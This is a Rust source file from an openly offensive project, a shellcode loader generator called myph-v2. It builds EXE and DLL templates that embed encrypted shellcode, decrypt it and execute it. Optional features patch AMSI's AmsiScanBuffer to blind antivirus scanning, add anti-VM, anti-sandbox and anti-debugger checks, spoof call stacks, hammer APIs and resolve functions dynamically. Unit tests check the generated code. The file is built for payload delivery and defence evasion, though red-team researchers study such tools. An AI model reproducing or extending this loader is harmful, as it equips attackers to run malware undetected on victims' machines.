myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
main_funcs.rs (28601B)
1 pub struct TemplateConfig<'a> { 2 pub internals_source: &'a str, 3 pub shellcode_array: &'a str, 4 pub key_array: &'a str, 5 pub decrypt_code: &'a str, 6 pub technique_code: &'a str, 7 pub technique_function_name: &'a str, 8 pub with_api_hammering: bool, 9 pub with_amsi_patch: bool, 10 pub with_string_encryption: bool, 11 pub with_dynamic_function_resolver: bool, 12 pub with_anti_vm: bool, 13 pub with_anti_sandbox: bool, 14 pub with_anti_debugger: bool, 15 pub with_callstack_spoofing: bool, 16 pub encryption_type: &'a str, 17 pub amsi_patch_code: &'a str, 18 pub evasion_code: &'a str, 19 pub string_obfuscator: Box<dyn super::StringObfuscation + 'a>, 20 } 21 22 impl<'a> TemplateConfig<'a> { 23 pub fn builder() -> TemplateConfigBuilder<'a> { 24 TemplateConfigBuilder::new() 25 } 26 } 27 28 pub struct TemplateConfigBuilder<'a> { 29 internals_source: Option<&'a str>, 30 shellcode_array: Option<&'a str>, 31 key_array: Option<&'a str>, 32 decrypt_code: Option<&'a str>, 33 technique_code: Option<&'a str>, 34 technique_function_name: Option<&'a str>, 35 with_api_hammering: bool, 36 with_amsi_patch: bool, 37 with_string_encryption: bool, 38 with_dynamic_function_resolver: bool, 39 with_anti_vm: bool, 40 with_anti_sandbox: bool, 41 with_anti_debugger: bool, 42 with_callstack_spoofing: bool, 43 encryption_type: Option<&'a str>, 44 amsi_patch_code: Option<&'a str>, 45 evasion_code: Option<&'a str>, 46 string_obfuscator: Option<Box<dyn super::StringObfuscation + 'a>>, 47 } 48 49 impl<'a> TemplateConfigBuilder<'a> { 50 pub fn new() -> Self { 51 Self { 52 internals_source: None, 53 shellcode_array: None, 54 key_array: None, 55 decrypt_code: None, 56 technique_code: None, 57 technique_function_name: None, 58 with_api_hammering: false, 59 with_amsi_patch: false, 60 with_string_encryption: false, 61 with_dynamic_function_resolver: false, 62 with_anti_vm: false, 63 with_anti_sandbox: false, 64 with_anti_debugger: false, 65 with_callstack_spoofing: false, 66 encryption_type: None, 67 amsi_patch_code: None, 68 evasion_code: None, 69 string_obfuscator: None, 70 } 71 } 72 73 pub fn internals_source(mut self, source: &'a str) -> Self { 74 self.internals_source = Some(source); 75 self 76 } 77 78 pub fn shellcode_array(mut self, array: &'a str) -> Self { 79 self.shellcode_array = Some(array); 80 self 81 } 82 83 pub fn key_array(mut self, array: &'a str) -> Self { 84 self.key_array = Some(array); 85 self 86 } 87 88 pub fn decrypt_code(mut self, code: &'a str) -> Self { 89 self.decrypt_code = Some(code); 90 self 91 } 92 93 pub fn technique_code(mut self, code: &'a str) -> Self { 94 self.technique_code = Some(code); 95 self 96 } 97 98 pub fn technique_function_name(mut self, name: &'a str) -> Self { 99 self.technique_function_name = Some(name); 100 self 101 } 102 103 pub fn with_api_hammering(mut self, enabled: bool) -> Self { 104 self.with_api_hammering = enabled; 105 self 106 } 107 108 pub fn with_amsi_patch(mut self, enabled: bool) -> Self { 109 self.with_amsi_patch = enabled; 110 self 111 } 112 113 pub fn with_string_encryption(mut self, enabled: bool) -> Self { 114 self.with_string_encryption = enabled; 115 self 116 } 117 118 pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self { 119 self.with_dynamic_function_resolver = enabled; 120 self 121 } 122 123 pub fn with_anti_vm(mut self, enabled: bool) -> Self { 124 self.with_anti_vm = enabled; 125 self 126 } 127 128 pub fn with_anti_sandbox(mut self, enabled: bool) -> Self { 129 self.with_anti_sandbox = enabled; 130 self 131 } 132 133 pub fn with_anti_debugger(mut self, enabled: bool) -> Self { 134 self.with_anti_debugger = enabled; 135 self 136 } 137 138 pub fn with_callstack_spoofing(mut self, enabled: bool) -> Self { 139 self.with_callstack_spoofing = enabled; 140 self 141 } 142 143 pub fn encryption_type(mut self, enc_type: &'a str) -> Self { 144 self.encryption_type = Some(enc_type); 145 self 146 } 147 148 pub fn amsi_patch_code(mut self, code: &'a str) -> Self { 149 self.amsi_patch_code = Some(code); 150 self 151 } 152 153 pub fn evasion_code(mut self, code: &'a str) -> Self { 154 self.evasion_code = Some(code); 155 self 156 } 157 158 pub fn string_obfuscator(mut self, obfuscator: Box<dyn super::StringObfuscation + 'a>) -> Self { 159 self.string_obfuscator = Some(obfuscator); 160 self 161 } 162 163 pub fn build(self) -> TemplateConfig<'a> { 164 TemplateConfig { 165 internals_source: self.internals_source.expect("internals_source is required"), 166 shellcode_array: self.shellcode_array.expect("shellcode_array is required"), 167 key_array: self.key_array.expect("key_array is required"), 168 decrypt_code: self.decrypt_code.expect("decrypt_code is required"), 169 technique_code: self.technique_code.expect("technique_code is required"), 170 technique_function_name: self 171 .technique_function_name 172 .expect("technique_function_name is required"), 173 with_api_hammering: self.with_api_hammering, 174 with_amsi_patch: self.with_amsi_patch, 175 with_string_encryption: self.with_string_encryption, 176 with_dynamic_function_resolver: self.with_dynamic_function_resolver, 177 with_anti_vm: self.with_anti_vm, 178 with_anti_sandbox: self.with_anti_sandbox, 179 with_anti_debugger: self.with_anti_debugger, 180 with_callstack_spoofing: self.with_callstack_spoofing, 181 encryption_type: self.encryption_type.unwrap_or(""), 182 amsi_patch_code: self.amsi_patch_code.unwrap_or(""), 183 evasion_code: self.evasion_code.unwrap_or(""), 184 string_obfuscator: self 185 .string_obfuscator 186 .expect("string_obfuscator is required"), 187 } 188 } 189 } 190 191 impl Default for TemplateConfigBuilder<'_> { 192 fn default() -> Self { 193 Self::new() 194 } 195 } 196 197 pub fn generate_random_function_name() -> String { 198 use std::collections::hash_map::RandomState; 199 use std::hash::{BuildHasher, Hash, Hasher}; 200 201 let random_state = RandomState::new(); 202 let mut hasher = random_state.build_hasher(); 203 204 std::time::SystemTime::now() 205 .duration_since(std::time::UNIX_EPOCH) 206 .unwrap() 207 .as_nanos() 208 .hash(&mut hasher); 209 210 std::process::id().hash(&mut hasher); 211 212 let hash = hasher.finish(); 213 214 const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 215 216 let length = 10 + (hash % 16) as usize; 217 let mut result = String::with_capacity(length); 218 219 let mut val = hash; 220 for i in 0..length { 221 let idx = if i == 0 { 222 (val % 52) as usize 223 } else { 224 (val % CHARSET.len() as u64) as usize 225 }; 226 result.push(CHARSET[idx] as char); 227 val = val.wrapping_mul(6364136223846793005).wrapping_add(1); 228 } 229 230 result 231 } 232 233 // Note: These functions are separate rather than using a trait-based approach 234 // because this file is included in build.rs (line 5) and cannot import 235 // crate::cli::BinaryFormat which is only available at runtime. 236 // The build script constraint requires keeping these as separate functions. 237 238 /// Generate the main.rs template for EXE binaries 239 pub fn generate_exe_main_template(config: &TemplateConfig) -> String { 240 let api_hammering_code = if config.with_api_hammering { 241 super::generate_api_hammering_functions() 242 } else { 243 String::new() 244 }; 245 246 let callstack_spoofing_code = if config.with_callstack_spoofing { 247 super::generate_uwd_info_comment().to_string() 248 } else { 249 String::new() 250 }; 251 252 let amsi_patch_code = if config.with_amsi_patch { 253 config.amsi_patch_code.to_string() 254 } else { 255 String::new() 256 }; 257 258 let amsi_patch_call = if config.with_amsi_patch { 259 " let _ = patch_amsi();\n" 260 } else { 261 "" 262 }; 263 264 let evasion_code = config.evasion_code.to_string(); 265 266 let evasion_checks_call = 267 if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger { 268 crate::evasion::generate_evasion_check_call( 269 config.with_anti_vm, 270 config.with_anti_sandbox, 271 config.with_anti_debugger, 272 ) 273 } else { 274 String::new() 275 }; 276 277 let string_const = config.string_obfuscator.generate_constants(); 278 let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print(); 279 280 format!( 281 r#"mod internals {{ 282 {} 283 }} 284 285 {} 286 287 {} 288 289 {} 290 291 {} 292 293 {} 294 295 {} 296 297 {} 298 299 const ENCRYPTED_SHELLCODE: &[u8] = &{}; 300 const DECRYPTION_KEY: &[u8] = &{}; 301 {} 302 fn main() {{ 303 {} {} 304 {} {} 305 {}(&decrypted); 306 }} 307 "#, 308 config.internals_source, 309 super::techniques::common::common_local_memory_imports(), 310 super::techniques::common::common_local_memory_externs(), 311 callstack_spoofing_code, 312 api_hammering_code, 313 amsi_patch_code, 314 evasion_code, 315 config.technique_code, 316 config.shellcode_array, 317 config.key_array, 318 string_const, 319 amsi_patch_call, 320 config.decrypt_code, 321 evasion_checks_call, 322 decrypt_size_msg, 323 config.technique_function_name 324 ) 325 } 326 327 /// Generate the lib.rs template for DLL binaries 328 pub fn generate_dll_lib_template(config: &TemplateConfig) -> String { 329 let api_hammering_code = if config.with_api_hammering { 330 super::generate_api_hammering_functions() 331 } else { 332 String::new() 333 }; 334 335 let callstack_spoofing_code = if config.with_callstack_spoofing { 336 super::generate_uwd_info_comment().to_string() 337 } else { 338 String::new() 339 }; 340 341 let amsi_patch_code = if config.with_amsi_patch { 342 config.amsi_patch_code.to_string() 343 } else { 344 String::new() 345 }; 346 347 let amsi_patch_call = if config.with_amsi_patch { 348 " let _ = patch_amsi();\n" 349 } else { 350 "" 351 }; 352 353 let evasion_code = config.evasion_code.to_string(); 354 355 let evasion_checks_call = 356 if config.with_anti_vm || config.with_anti_sandbox || config.with_anti_debugger { 357 crate::evasion::generate_evasion_check_call( 358 config.with_anti_vm, 359 config.with_anti_sandbox, 360 config.with_anti_debugger, 361 ) 362 } else { 363 String::new() 364 }; 365 366 let string_const = config.string_obfuscator.generate_constants(); 367 let decrypt_size_msg = config.string_obfuscator.generate_decrypt_and_print(); 368 369 format!( 370 r#"mod internals {{ 371 {} 372 }} 373 374 {} 375 376 {} 377 378 {} 379 380 {} 381 382 {} 383 384 {} 385 386 {} 387 388 const ENCRYPTED_SHELLCODE: &[u8] = &{}; 389 const DECRYPTION_KEY: &[u8] = &{}; 390 {} 391 #[no_mangle] 392 pub extern "C" fn DllMain(_hinst_dll: *const u8, _fdw_reason: u32, _lpv_reserved: *const u8) -> u32 {{ 393 {} {} 394 {} {} 395 {}(&decrypted); 396 1 397 }} 398 399 #[no_mangle] 400 pub extern "C" fn get_shellcode_size() -> usize {{ 401 ENCRYPTED_SHELLCODE.len() 402 }} 403 "#, 404 config.internals_source, 405 super::techniques::common::common_local_memory_imports(), 406 super::techniques::common::common_local_memory_externs(), 407 callstack_spoofing_code, 408 api_hammering_code, 409 amsi_patch_code, 410 evasion_code, 411 config.technique_code, 412 config.shellcode_array, 413 config.key_array, 414 string_const, 415 amsi_patch_call, 416 config.decrypt_code, 417 evasion_checks_call, 418 decrypt_size_msg, 419 config.technique_function_name 420 ) 421 } 422 423 #[cfg(test)] 424 mod tests { 425 use super::*; 426 427 #[test] 428 fn test_exe_template_contains_main_function() { 429 let config = TemplateConfig::builder() 430 .internals_source("pub fn test() {}") 431 .shellcode_array("[0x90, 0x90]") 432 .key_array("[0x41, 0x42]") 433 .decrypt_code("let decrypted = vec![0x90];") 434 .technique_code("") 435 .technique_function_name("placeholder") 436 .with_api_hammering(false) 437 .with_amsi_patch(false) 438 .string_obfuscator(Box::new(super::super::NoObfuscation)) 439 .build(); 440 let template = generate_exe_main_template(&config); 441 442 assert!(template.contains("fn main()")); 443 assert!(template.contains("const ENCRYPTED_SHELLCODE")); 444 assert!(template.contains("const DECRYPTION_KEY")); 445 } 446 447 #[test] 448 fn test_exe_template_no_example_code() { 449 let config = TemplateConfig::builder() 450 .internals_source("pub fn test() {}") 451 .shellcode_array("[0x90, 0x90]") 452 .key_array("[0x41, 0x42]") 453 .decrypt_code("let decrypted = vec![];") 454 .technique_code("") 455 .technique_function_name("placeholder") 456 .with_api_hammering(false) 457 .with_amsi_patch(false) 458 .string_obfuscator(Box::new(super::super::NoObfuscation)) 459 .build(); 460 let template = generate_exe_main_template(&config); 461 462 assert!(!template.contains("Hello from generated")); 463 assert!(!template.contains("Example usage")); 464 assert!(!template.contains("bytes_to_hex")); 465 } 466 467 #[test] 468 fn test_exe_template_includes_decrypt_code() { 469 let decrypt_code = "let decrypted = decrypt_xor();"; 470 let config = TemplateConfig { 471 internals_source: "pub fn test() {}", 472 shellcode_array: "[0x90]", 473 key_array: "[0x41]", 474 decrypt_code, 475 technique_code: "", 476 technique_function_name: "placeholder", 477 with_api_hammering: false, 478 with_amsi_patch: false, 479 with_string_encryption: false, 480 with_dynamic_function_resolver: false, 481 with_anti_vm: false, 482 with_anti_sandbox: false, 483 with_anti_debugger: false, 484 with_callstack_spoofing: false, 485 encryption_type: "xor", 486 amsi_patch_code: "", 487 evasion_code: "", 488 string_obfuscator: Box::new(super::super::NoObfuscation), 489 }; 490 let template = generate_exe_main_template(&config); 491 492 assert!(template.contains(decrypt_code)); 493 } 494 495 #[test] 496 fn test_dll_template_contains_dllmain() { 497 let config = TemplateConfig::builder() 498 .internals_source("pub fn test() {}") 499 .shellcode_array("[0x90, 0x90]") 500 .key_array("[0x41, 0x42]") 501 .decrypt_code("let decrypted = vec![0x90];") 502 .technique_code("") 503 .technique_function_name("placeholder") 504 .with_api_hammering(false) 505 .with_amsi_patch(false) 506 .string_obfuscator(Box::new(super::super::NoObfuscation)) 507 .build(); 508 let template = generate_dll_lib_template(&config); 509 510 assert!(template.contains("DllMain")); 511 assert!(template.contains("get_shellcode_size")); 512 assert!(template.contains("const ENCRYPTED_SHELLCODE")); 513 assert!(template.contains("const DECRYPTION_KEY")); 514 } 515 516 #[test] 517 fn test_dll_template_includes_decrypt_code() { 518 let decrypt_code = "let decrypted = decrypt_aes();"; 519 let config = TemplateConfig { 520 internals_source: "pub fn test() {}", 521 shellcode_array: "[0x90]", 522 key_array: "[0x41]", 523 decrypt_code, 524 technique_code: "", 525 technique_function_name: "placeholder", 526 with_api_hammering: false, 527 with_amsi_patch: false, 528 with_string_encryption: false, 529 with_dynamic_function_resolver: false, 530 with_anti_vm: false, 531 with_anti_sandbox: false, 532 with_anti_debugger: false, 533 with_callstack_spoofing: false, 534 encryption_type: "aes", 535 amsi_patch_code: "", 536 evasion_code: "", 537 string_obfuscator: Box::new(super::super::NoObfuscation), 538 }; 539 let template = generate_dll_lib_template(&config); 540 541 assert!(template.contains(decrypt_code)); 542 assert!(template.contains("DllMain")); 543 } 544 545 #[test] 546 fn test_dll_template_dllmain_returns_one() { 547 let config = TemplateConfig::builder() 548 .internals_source("pub fn test() {}") 549 .shellcode_array("[0x90]") 550 .key_array("[0x41]") 551 .decrypt_code("let decrypted = vec![0x90];") 552 .technique_code("") 553 .technique_function_name("placeholder") 554 .with_api_hammering(false) 555 .with_amsi_patch(false) 556 .string_obfuscator(Box::new(super::super::NoObfuscation)) 557 .build(); 558 let template = generate_dll_lib_template(&config); 559 560 assert!(template.contains("1\n}")); 561 } 562 563 #[test] 564 fn test_exe_template_with_technique() { 565 let config = TemplateConfig::builder() 566 .internals_source("pub fn test() {}") 567 .shellcode_array("[0x90, 0x90]") 568 .key_array("[0x41, 0x42]") 569 .decrypt_code("let decrypted = vec![0x90];") 570 .technique_code("fn my_func(data: &[u8]) {}") 571 .technique_function_name("my_func") 572 .with_api_hammering(false) 573 .with_amsi_patch(false) 574 .string_obfuscator(Box::new(super::super::NoObfuscation)) 575 .build(); 576 let template = generate_exe_main_template(&config); 577 578 assert!(template.contains("fn main()")); 579 assert!(template.contains("my_func(&decrypted)")); 580 assert!(template.contains("const ENCRYPTED_SHELLCODE")); 581 } 582 583 #[test] 584 fn test_dll_template_with_technique() { 585 let config = TemplateConfig::builder() 586 .internals_source("pub fn test() {}") 587 .shellcode_array("[0x90, 0x90]") 588 .key_array("[0x41, 0x42]") 589 .decrypt_code("let decrypted = vec![0x90];") 590 .technique_code("fn my_func(data: &[u8]) {}") 591 .technique_function_name("my_func") 592 .with_api_hammering(false) 593 .with_amsi_patch(false) 594 .string_obfuscator(Box::new(super::super::NoObfuscation)) 595 .build(); 596 let template = generate_dll_lib_template(&config); 597 598 assert!(template.contains("DllMain")); 599 assert!(template.contains("my_func(&decrypted)")); 600 assert!(template.contains("get_shellcode_size")); 601 } 602 603 #[test] 604 fn test_generate_random_function_name_format() { 605 let name = generate_random_function_name(); 606 assert!(name.len() >= 10 && name.len() <= 25); 607 assert!(name.chars().all(|c| c.is_ascii_alphabetic())); 608 } 609 610 #[test] 611 fn test_generate_random_function_names_are_different() { 612 let name1 = generate_random_function_name(); 613 let name2 = generate_random_function_name(); 614 assert_ne!(name1, name2); 615 } 616 617 #[test] 618 fn test_exe_template_with_amsi_patch() { 619 let amsi_code = super::super::generate_amsi_patch_code(); 620 let config = TemplateConfig::builder() 621 .internals_source("pub fn test() {}") 622 .shellcode_array("[0x90, 0x90]") 623 .key_array("[0x41, 0x42]") 624 .decrypt_code("let decrypted = vec![0x90];") 625 .technique_code("fn my_func(data: &[u8]) {}") 626 .technique_function_name("my_func") 627 .with_api_hammering(false) 628 .with_amsi_patch(true) 629 .with_string_encryption(false) 630 .with_dynamic_function_resolver(false) 631 .encryption_type("xor") 632 .amsi_patch_code(&amsi_code) 633 .string_obfuscator(Box::new(super::super::NoObfuscation)) 634 .build(); 635 let template = generate_exe_main_template(&config); 636 637 assert!(template.contains("fn patch_amsi()")); 638 assert!(template.contains("let _ = patch_amsi();")); 639 assert!(template.contains("AmsiScanBuffer")); 640 } 641 642 #[test] 643 fn test_exe_template_without_amsi_patch() { 644 let config = TemplateConfig::builder() 645 .internals_source("pub fn test() {}") 646 .shellcode_array("[0x90, 0x90]") 647 .key_array("[0x41, 0x42]") 648 .decrypt_code("let decrypted = vec![0x90];") 649 .technique_code("fn my_func(data: &[u8]) {}") 650 .technique_function_name("my_func") 651 .with_api_hammering(false) 652 .with_amsi_patch(false) 653 .string_obfuscator(Box::new(super::super::NoObfuscation)) 654 .build(); 655 let template = generate_exe_main_template(&config); 656 657 assert!(!template.contains("fn patch_amsi()")); 658 assert!(!template.contains("let _ = patch_amsi();")); 659 assert!(!template.contains("AmsiScanBuffer")); 660 } 661 662 #[test] 663 fn test_dll_template_with_amsi_patch() { 664 let amsi_code = super::super::generate_amsi_patch_code(); 665 let config = TemplateConfig::builder() 666 .internals_source("pub fn test() {}") 667 .shellcode_array("[0x90, 0x90]") 668 .key_array("[0x41, 0x42]") 669 .decrypt_code("let decrypted = vec![0x90];") 670 .technique_code("fn my_func(data: &[u8]) {}") 671 .technique_function_name("my_func") 672 .with_api_hammering(false) 673 .with_amsi_patch(true) 674 .with_string_encryption(false) 675 .with_dynamic_function_resolver(false) 676 .encryption_type("xor") 677 .amsi_patch_code(&amsi_code) 678 .string_obfuscator(Box::new(super::super::NoObfuscation)) 679 .build(); 680 let template = generate_dll_lib_template(&config); 681 682 assert!(template.contains("fn patch_amsi()")); 683 assert!(template.contains("let _ = patch_amsi();")); 684 assert!(template.contains("DllMain")); 685 } 686 687 #[test] 688 fn test_dll_template_without_amsi_patch() { 689 let config = TemplateConfig::builder() 690 .internals_source("pub fn test() {}") 691 .shellcode_array("[0x90, 0x90]") 692 .key_array("[0x41, 0x42]") 693 .decrypt_code("let decrypted = vec![0x90];") 694 .technique_code("fn my_func(data: &[u8]) {}") 695 .technique_function_name("my_func") 696 .with_api_hammering(false) 697 .with_amsi_patch(false) 698 .string_obfuscator(Box::new(super::super::NoObfuscation)) 699 .build(); 700 let template = generate_dll_lib_template(&config); 701 702 assert!(!template.contains("fn patch_amsi()")); 703 assert!(!template.contains("let _ = patch_amsi();")); 704 assert!(template.contains("DllMain")); 705 } 706 707 #[test] 708 fn test_amsi_patch_with_string_encryption() { 709 use crate::cli::EncryptionKind; 710 use crate::encryption::{create_encryptor, derive_key_bytes}; 711 712 let encryption_kind = EncryptionKind::XOR; 713 let encryption_key = "test_key"; 714 715 let amsi_dll_str = "amsi.dll"; 716 let amsi_scan_buffer_str = "AmsiScanBuffer"; 717 718 let encryptor = create_encryptor(encryption_kind.clone(), encryption_key); 719 720 let encrypted_dll = encryptor.encrypt(amsi_dll_str.as_bytes()).unwrap(); 721 let encrypted_func = encryptor.encrypt(amsi_scan_buffer_str.as_bytes()).unwrap(); 722 723 let key_bytes = derive_key_bytes(encryption_key, &encryption_kind); 724 725 let format_as_array = |bytes: &[u8]| -> String { 726 if bytes.is_empty() { 727 return "[]".to_string(); 728 } 729 use std::fmt::Write; 730 let mut result = String::with_capacity(bytes.len() * 6 + 2); 731 result.push('['); 732 for (i, byte) in bytes.iter().enumerate() { 733 if i > 0 { 734 result.push_str(", "); 735 } 736 write!(result, "0x{:02x}", byte).unwrap(); 737 } 738 result.push(']'); 739 result 740 }; 741 742 let dll_array = format_as_array(&encrypted_dll); 743 let func_array = format_as_array(&encrypted_func); 744 let key_array = format_as_array(&key_bytes); 745 746 let decrypt_fn = "internals::decrypt_xor"; 747 let expect_clause = ""; 748 749 let amsi_code = super::super::generate_amsi_patch_code_with_string_encryption( 750 &dll_array, 751 &func_array, 752 &key_array, 753 decrypt_fn, 754 expect_clause, 755 ); 756 757 assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL")); 758 assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC")); 759 assert!(amsi_code.contains("AMSI_KEY")); 760 assert!(amsi_code.contains("decrypt_xor")); 761 assert!(amsi_code.contains("LoadLibraryA")); 762 assert!(amsi_code.contains("GetProcAddress")); 763 assert!(amsi_code.contains("VirtualProtect")); 764 assert!(amsi_code.contains("fn patch_amsi()")); 765 } 766 767 #[test] 768 fn test_amsi_patch_with_dynamic_resolver() { 769 use crate::cli::EncryptionKind; 770 use crate::encryption::create_encryptor; 771 772 let encryption_type = "xor"; 773 let encryptor = create_encryptor(EncryptionKind::XOR, "test_key"); 774 775 let load_library_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap(); 776 let load_library_fn_encrypted = encryptor.encrypt(b"LoadLibraryA").unwrap(); 777 778 let load_library_resolver = super::super::generate_dynamic_function_resolver( 779 "kernel32.dll", 780 "LoadLibraryA", 781 encryption_type, 782 "load_library_a", 783 "DECRYPTION_KEY", 784 &load_library_dll_encrypted, 785 &load_library_fn_encrypted, 786 ) 787 .unwrap(); 788 789 let get_proc_address_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap(); 790 let get_proc_address_fn_encrypted = encryptor.encrypt(b"GetProcAddress").unwrap(); 791 792 let get_proc_address_resolver = super::super::generate_dynamic_function_resolver( 793 "kernel32.dll", 794 "GetProcAddress", 795 encryption_type, 796 "get_proc_address", 797 "DECRYPTION_KEY", 798 &get_proc_address_dll_encrypted, 799 &get_proc_address_fn_encrypted, 800 ) 801 .unwrap(); 802 803 let virtual_protect_dll_encrypted = encryptor.encrypt(b"kernel32.dll").unwrap(); 804 let virtual_protect_fn_encrypted = encryptor.encrypt(b"VirtualProtect").unwrap(); 805 806 let virtual_protect_resolver = super::super::generate_dynamic_function_resolver( 807 "kernel32.dll", 808 "VirtualProtect", 809 encryption_type, 810 "virtual_protect", 811 "DECRYPTION_KEY", 812 &virtual_protect_dll_encrypted, 813 &virtual_protect_fn_encrypted, 814 ) 815 .unwrap(); 816 817 let load_library_cast = super::super::generate_function_type_and_cast( 818 "load_library_a", 819 "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void", 820 ); 821 822 let get_proc_address_cast = super::super::generate_function_type_and_cast( 823 "get_proc_address", 824 "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void" 825 ); 826 827 let virtual_protect_cast = super::super::generate_function_type_and_cast( 828 "virtual_protect", 829 "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32", 830 ); 831 832 let dll_resolver = "const ENCRYPTED_AMSI_DLL: &[u8] = &[0x01];"; 833 let func_resolver = "const ENCRYPTED_AMSI_FUNC: &[u8] = &[0x02];"; 834 835 let amsi_code = super::super::generate_amsi_patch_code_with_dynamic_resolver( 836 super::super::AmsiDynamicResolverParams { 837 dll_resolver, 838 func_resolver, 839 load_library_resolver: &load_library_resolver, 840 load_library_cast: &load_library_cast, 841 get_proc_address_resolver: &get_proc_address_resolver, 842 get_proc_address_cast: &get_proc_address_cast, 843 virtual_protect_resolver: &virtual_protect_resolver, 844 virtual_protect_cast: &virtual_protect_cast, 845 }, 846 ); 847 848 assert!(amsi_code.contains("ENCRYPTED_AMSI_DLL")); 849 assert!(amsi_code.contains("ENCRYPTED_AMSI_FUNC")); 850 assert!(amsi_code.contains("internals::get_module_base")); 851 assert!(amsi_code.contains("internals::get_function_address")); 852 assert!(amsi_code.contains("load_library_a")); 853 assert!(amsi_code.contains("get_proc_address")); 854 assert!(amsi_code.contains("virtual_protect")); 855 assert!(amsi_code.contains("fn patch_amsi()")); 856 } 857 }